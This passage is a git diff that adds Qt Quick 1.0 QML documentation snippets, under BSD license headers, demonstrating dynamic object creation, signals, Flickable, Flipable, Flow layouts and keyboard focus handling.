+import QtQuick 1.0
+
+Rectangle {
+ id: parentItem
+
+ width: 100
+ height: 100
+
+ function createIt() {
+//![0]
+var newObject = Qt.createQmlObject('import QtQuick 1.0; Rectangle {color: "red"; width: 20; height: 20}',
+ parentItem, "dynamicSnippet1");
+//![0]
+
+//![destroy]
+newObject.destroy(1000);
+//![destroy]
+ }
+
+ Component.onCompleted: createIt()
+}
diff --git a/doc/src/snippets/declarative/dynamicObjects-destroy.qml b/doc/src/snippets/declarative/dynamicObjects-destroy.qml
new file mode 100644
index 00000000..96def735
--- /dev/null
+++ b/doc/src/snippets/declarative/dynamicObjects-destroy.qml
@@ -0,0 +1,55 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+Item {
+ id: container
+ width: 500; height: 100
+
+ Component.onCompleted: {
+ var component = Qt.createComponent("SelfDestroyingRect.qml");
+ for (var i=0; i<5; i++) {
+ var object = component.createObject(container);
+ object.x = (object.width + 10) * i;
+ }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/events.qml b/doc/src/snippets/declarative/events.qml
new file mode 100644
index 00000000..d1058bc1
--- /dev/null
+++ b/doc/src/snippets/declarative/events.qml
@@ -0,0 +1,141 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![document]
+import QtQuick 1.0
+
+//![parent begin]
+Rectangle {
+//![parent begin]
+
+ id: screen
+ width: 400; height: 500
+
+//! [signal declaration]
+ signal trigger
+ signal send (string notice)
+ signal perform (string task, variant object)
+//! [signal declaration]
+
+//! [signal handler declaration]
+onTrigger: console.log("trigger signal emitted")
+
+onSend: {
+ console.log("send signal emitted with notice: " + notice)
+}
+
+onPerform: console.log("perform signal emitted")
+//! [signal handler declaration]
+
+//! [automatic signals]
+Rectangle {
+ id: sprite
+ width: 25; height: 25
+ x: 50; y: 15
+
+ onXChanged: console.log("x property changed, emitted xChanged signal")
+ onYChanged: console.log("y property changed, emitted yChanged signal")
+}
+//! [automatic signals]
+
+//! [signal emit]
+Rectangle {
+ id: messenger
+
+ signal send( string person, string notice)
+
+ onSend: {
+ console.log("For " + person + ", the notice is: " + notice)
+ }
+
+ Component.onCompleted: messenger.send("Tom", "the door is ajar.")
+}
+//! [signal emit]
+
+//! [connect method]
+Rectangle {
+ id: relay
+
+ signal send( string person, string notice)
+ onSend: console.log("Send signal to: " + person + ", " + notice)
+
+ Component.onCompleted: {
+ relay.send.connect(sendToPost)
+ relay.send.connect(sendToTelegraph)
+ relay.send.connect(sendToEmail)
+ relay.send("Tom", "Happy Birthday")
+ }
+
+ function sendToPost(person, notice) {
+ console.log("Sending to post: " + person + ", " + notice)
+ }
+ function sendToTelegraph(person, notice) {
+ console.log("Sending to telegraph: " + person + ", " + notice)
+ }
+ function sendToEmail(person, notice) {
+ console.log("Sending to email: " + person + ", " + notice)
+ }
+}
+//! [connect method]
+
+//! [forward signal]
+Rectangle {
+ id: forwarder
+ width: 100; height: 100
+
+ signal send()
+ onSend: console.log("Send clicked")
+
+ MouseArea {
+ id: mousearea
+ anchors.fill: parent
+ onClicked: console.log("MouseArea clicked")
+ }
+ Component.onCompleted: {
+ mousearea.clicked.connect(send)
+ }
+}
+//! [forward signal]
+
+//! [connect method]
+//![parent end]
+}
+//![parent end]
+
+//![document]
diff --git a/doc/src/snippets/declarative/flickable.qml b/doc/src/snippets/declarative/flickable.qml
new file mode 100644
index 00000000..255682f9
--- /dev/null
+++ b/doc/src/snippets/declarative/flickable.qml
@@ -0,0 +1,50 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Flickable {
+ width: 200; height: 200
+ contentWidth: image.width; contentHeight: image.height
+
+ Image { id: image; source: "bigImage.png" }
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/flickableScrollbar.qml b/doc/src/snippets/declarative/flickableScrollbar.qml
new file mode 100644
index 00000000..7178378e
--- /dev/null
+++ b/doc/src/snippets/declarative/flickableScrollbar.qml
@@ -0,0 +1,66 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+//![0]
+Rectangle {
+ width: 200; height: 200
+
+ Flickable {
+ id: flickable
+//![0]
+ anchors.fill: parent
+ contentWidth: image.width; contentHeight: image.height
+
+ Image { id: image; source: "pics/qt.png" }
+//![1]
+ }
+
+ Rectangle {
+ id: scrollbar
+ anchors.right: flickable.right
+ y: flickable.visibleArea.yPosition * flickable.height
+ width: 10
+ height: flickable.visibleArea.heightRatio * flickable.height
+ color: "black"
+ }
+}
+//![1]
diff --git a/doc/src/snippets/declarative/flipable/flipable.qml b/doc/src/snippets/declarative/flipable/flipable.qml
new file mode 100644
index 00000000..f5b36df7
--- /dev/null
+++ b/doc/src/snippets/declarative/flipable/flipable.qml
@@ -0,0 +1,78 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [0]
+import QtQuick 1.0
+
+Flipable {
+ id: flipable
+ width: 240
+ height: 240
+
+ property bool flipped: false
+
+ front: Image { source: "front.png"; anchors.centerIn: parent }
+ back: Image { source: "back.png"; anchors.centerIn: parent }
+
+ transform: Rotation {
+ id: rotation
+ origin.x: flipable.width/2
+ origin.y: flipable.height/2
+ axis.x: 0; axis.y: 1; axis.z: 0 // set axis.y to 1 to rotate around y-axis
+ angle: 0 // the default angle
+ }
+
+ states: State {
+ name: "back"
+ PropertyChanges { target: rotation; angle: 180 }
+ when: flipable.flipped
+ }
+
+ transitions: Transition {
+ NumberAnimation { target: rotation; property: "angle"; duration: 4000 }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: flipable.flipped = !flipable.flipped
+ }
+}
+//! [0]
+
diff --git a/doc/src/snippets/declarative/flow-diagram.qml b/doc/src/snippets/declarative/flow-diagram.qml
new file mode 100644
index 00000000..13c02e81
--- /dev/null
+++ b/doc/src/snippets/declarative/flow-diagram.qml
@@ -0,0 +1,75 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ color: "lightblue"
+ width: 300; height: 200
+
+//! [flow item]
+ Flow {
+ anchors.fill: parent
+ anchors.margins: 4
+ spacing: 10
+
+ Repeater {
+ id: repeater
+ model: {
+ var strings = ["Text", "items", "flowing", "inside", "a",
+ "Flow", "item"];
+ strings;
+ }
+
+ Rectangle {
+ color: "white"
+ width: textItem.width + 4
+ height: textItem.height + 4
+ Text {
+ id: textItem
+ anchors.horizontalCenter: parent.horizontalCenter
+ text: repeater.model[index]
+ font.pixelSize: 40
+ }
+ }
+ }
+ }
+//! [flow item]
+}
diff --git a/doc/src/snippets/declarative/flow.qml b/doc/src/snippets/declarative/flow.qml
new file mode 100644
index 00000000..b8e53c48
--- /dev/null
+++ b/doc/src/snippets/declarative/flow.qml
@@ -0,0 +1,64 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Rectangle {
+ color: "lightblue"
+ width: 300; height: 200
+
+//! [flow item]
+ Flow {
+ anchors.fill: parent
+ anchors.margins: 4
+ spacing: 10
+
+ Text { text: "Text"; font.pixelSize: 40 }
+ Text { text: "items"; font.pixelSize: 40 }
+ Text { text: "flowing"; font.pixelSize: 40 }
+ Text { text: "inside"; font.pixelSize: 40 }
+ Text { text: "a"; font.pixelSize: 40 }
+ Text { text: "Flow"; font.pixelSize: 40 }
+ Text { text: "item"; font.pixelSize: 40 }
+ }
+//! [flow item]
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/focus/advancedFocus.qml b/doc/src/snippets/declarative/focus/advancedFocus.qml
new file mode 100644
index 00000000..7f61e5c3
--- /dev/null
+++ b/doc/src/snippets/declarative/focus/advancedFocus.qml
@@ -0,0 +1,67 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+//! [FocusScope delegate]
+Rectangle {
+ color: "lightsteelblue"; width: 100; height: 50
+
+ ListView {
+ anchors.fill: parent
+ focus: true
+
+ model: ListModel {
+ ListElement { name: "Bob" }
+ ListElement { name: "John" }
+ ListElement { name: "Michael" }
+ }
+
+ delegate: FocusScope {
+ width: childrenRect.width; height: childrenRect.height
+ x:childrenRect.x; y: childrenRect.y
+ TextInput {
+ focus: true
+ text: name
+ Keys.onReturnPressed: console.log(name)
+ }
+ }
+ }
+}
+//! [FocusScope delegate]
diff --git a/doc/src/snippets/declarative/focus/basicwidget.qml b/doc/src/snippets/declarative/focus/basicwidget.qml
new file mode 100644
index 00000000..8728229d
--- /dev/null
+++ b/doc/src/snippets/declarative/focus/basicwidget.qml
@@ -0,0 +1,59 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+//! [focus true]
+Rectangle {
+ color: "lightsteelblue"; width: 240; height: 25
+ Text { id: myText }
+ Item {
+ id: keyHandler
+ focus: true
+ Keys.onPressed: {
+ if (event.key == Qt.Key_A)
+ myText.text = 'Key A was pressed'
+ else if (event.key == Qt.Key_B)
+ myText.text = 'Key B was pressed'
+ else if (event.key == Qt.Key_C)
+ myText.text = 'Key C was pressed'
+ }
+ }
+}
+//! [focus true]
diff --git a/doc/src/snippets/declarative/focus/clickablewidget.qml b/doc/src/snippets/declarative/focus/clickablewidget.qml
new file mode 100644
index 00000000..ee9d9893
--- /dev/null
+++ b/doc/src/snippets/declarative/focus/clickablewidget.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the FOO module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+//! [clickable window]
+Rectangle {
+ id: window
+
+ color: "white"; width: 240; height: 150
+
+ Column {
+ anchors.centerIn: parent; spacing: 15
+
+ MyClickableWidget {
+ focus: true //set this MyWidget to receive the focus
+ color: "lightblue"
+ }
+ MyClickableWidget {
+ color: "palegreen"
+ }
+ }
+
+}
+//! [clickable window]
diff --git a/doc/src/snippets/declarative/focus/focusColumn.qml b/doc/src/snippets/declarative/focus/focusColumn.qml
new file mode 100644
index 00000000..0ae1ea15
--- /dev/null
+++ b/doc/src/snippets/declarative/focus/focusColumn.qml
@@ -0,0 +1,64 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
